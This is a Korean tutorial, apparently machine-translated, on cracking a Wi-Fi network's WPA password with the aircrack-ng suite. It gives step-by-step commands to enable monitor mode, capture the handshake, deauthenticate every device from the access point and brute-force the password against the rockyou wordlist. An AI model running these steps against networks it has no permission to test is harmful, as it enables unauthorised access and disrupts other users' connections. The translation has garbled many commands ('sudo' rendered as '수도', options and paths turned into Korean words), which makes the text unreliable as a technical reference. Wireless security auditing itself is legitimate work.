에어몬-ng
Airmon-ng는 무선 카드 모드를 관리하고 aircrack-ng를 사용하는 동안 불필요한 프로세스를 죽이는 데 사용됩니다. 무선 연결을 스니핑하려면 무선 카드를 관리 모드에서 모니터 모드로 변경해야 하며 그 용도로 airmon-ng가 사용됩니다.
에어로덤프-ng
Airodump-ng는 하나 이상의 무선 액세스 포인트에서 무선 데이터를 캡처할 수 있는 무선 스니퍼입니다. 주변 액세스 포인트를 분석하고 악수를 캡처하는 데 사용됩니다.
Aireplay-ng
Aireplay-ng는 재생 공격 및 패킷 인젝터로 사용됩니다. 악수를 캡처하기 위해 AP에서 사용자의 인증을 해제할 수 있습니다.
Airdecap-ng
Airdecap-ng는 알려진 키로 암호화된 WEP, WPA/WPA2 무선 패킷을 해독하는 데 사용됩니다.
Aircrack-ng
Aircrack-ng는 키를 찾기 위해 WPA/WEP 무선 프로토콜을 공격하는 데 사용됩니다.
Aircrack-ng는 APT를 사용하여 Ubuntu에 쉽게 설치할 수 있습니다. 다음 명령을 입력하기만 하면 Aircrack-ng 제품군에서 사용 가능한 모든 도구가 설치됩니다.
수도 apt-get 업데이트수도 apt-get 설치 -그리고aircrack-ng
용법
이 기사에서는 aircrack-ng를 사용하여 암호화된 무선 네트워크(이 예에서는 TR1CKST3R)를 해독하여 암호를 찾는 방법을 간략히 살펴보겠습니다.
먼저 'iwconfig' 명령을 사용하여 PC에 연결된 사용 가능한 모든 무선 카드를 나열합니다.
이 튜토리얼에서는 이름이 'wlxc83a35cb4546'인 무선 카드를 사용합니다(귀하의 경우 다를 수 있음). 이제 airmon-ng를 사용하여 무선 카드에서 실행 중인 모든 프로세스를 종료합니다.
[이메일 보호] :~$수도airmon-ng 체크죽임다음을 입력하여 'wlxc83a35cb4546'에서 모니터 모드를 시작합니다.
[이메일 보호] :~$수도airmon-ng 시작 wlxc83a35cb4546
이제 airmon-ng가 무선 카드에서 모니터 모드를 시작했으며 'wlan0mon'이라는 다른 이름으로 나타납니다. 무선 세부 정보를 나열하려면 'iwconfig'를 다시 실행하십시오.
그런 다음 airodump-ng를 사용하여 근처의 무선 액세스 포인트 및 해당 속성을 확인합니다.
[이메일 보호] :~$수도airodump-ng wlan0mon 
MAC(-bssid) 및 채널(-c) 필터를 사용하여 검색 범위를 좁힐 수 있습니다. 핸드셰이크(Handshake에는 암호화된 암호가 포함됨)를 캡처하려면 –write 옵션을 사용하여 패킷을 어딘가에 저장해야 합니다. 유형,
[이메일 보호] :~$수도에어로덤프-ng--bss6C:B7:49: FC:62: E4-씨 열하나wlan0mon--쓰다 /시간/악수.캡
--bss: 액세스 포인트의 MAC 주소
-씨: 액세스 포인트의 채널[1-13]
--쓰다: 캡처된 패킷을 정의된 위치에 저장
이제 Aireplay-ng 유틸리티를 사용하여 이 액세스 포인트에서 모든 장치의 인증을 해제해야 합니다. 쓰다
[이메일 보호] :~$수도에어플레이-ng-0 100 -에게 [MAC_ADD]wlan0mon 
-a : Aireplay-ng에 대한 액세스 포인트 MAC 지정
-0 : 보낼 deauth 패킷 수 지정
잠시 후 모든 장치가 해당 액세스 포인트에서 연결 해제되고 다시 연결을 시도할 때 airodump-ng를 실행하면 핸드셰이크가 캡처됩니다. airodump-ng 실행 상단에 나타납니다.
핸드셰이크는 '/tmp/' 디렉터리에 저장되며 사전을 사용하여 오프라인에서 무차별 대입할 수 있는 암호화된 암호를 포함합니다. 암호를 해독하기 위해 Aircrack-ng를 사용할 것입니다. 유형
[이메일 보호] :~$수도aircrack-ng/시간/악수.cap-01.cap-에/usr/공유하다/단어 목록/rockyou.txt
-에: 사전 위치 지정
Aircrack-ng는 암호 목록을 살펴보고 발견하면 키로 사용된 암호를 표시합니다.
이 경우 aircrack-ng는 '123456789'를 사용한 비밀번호를 찾았습니다.
이제 무선 카드에서 모니터 모드를 중지하고 네트워크 관리자를 다시 시작하십시오.
[이메일 보호] :~$수도airmon-ng 중지 wlan0mon[이메일 보호] :~$수도서비스 네트워크 관리자 다시 시작
결론
Aircrack-ng는 Wireless Security를 감사하거나 잊어버린 암호를 해독하는 데 사용할 수 있습니다. Kismet과 같이 이 용도로 사용할 수 있는 다른 유사한 도구가 있지만 aircrack-ng는 우수한 지원, 다용성 및 광범위한 도구로 더 잘 알려져 있습니다. Python과 같은 스크립팅 언어를 사용하여 쉽게 자동화할 수 있는 사용하기 쉬운 명령줄 인터페이스가 있습니다.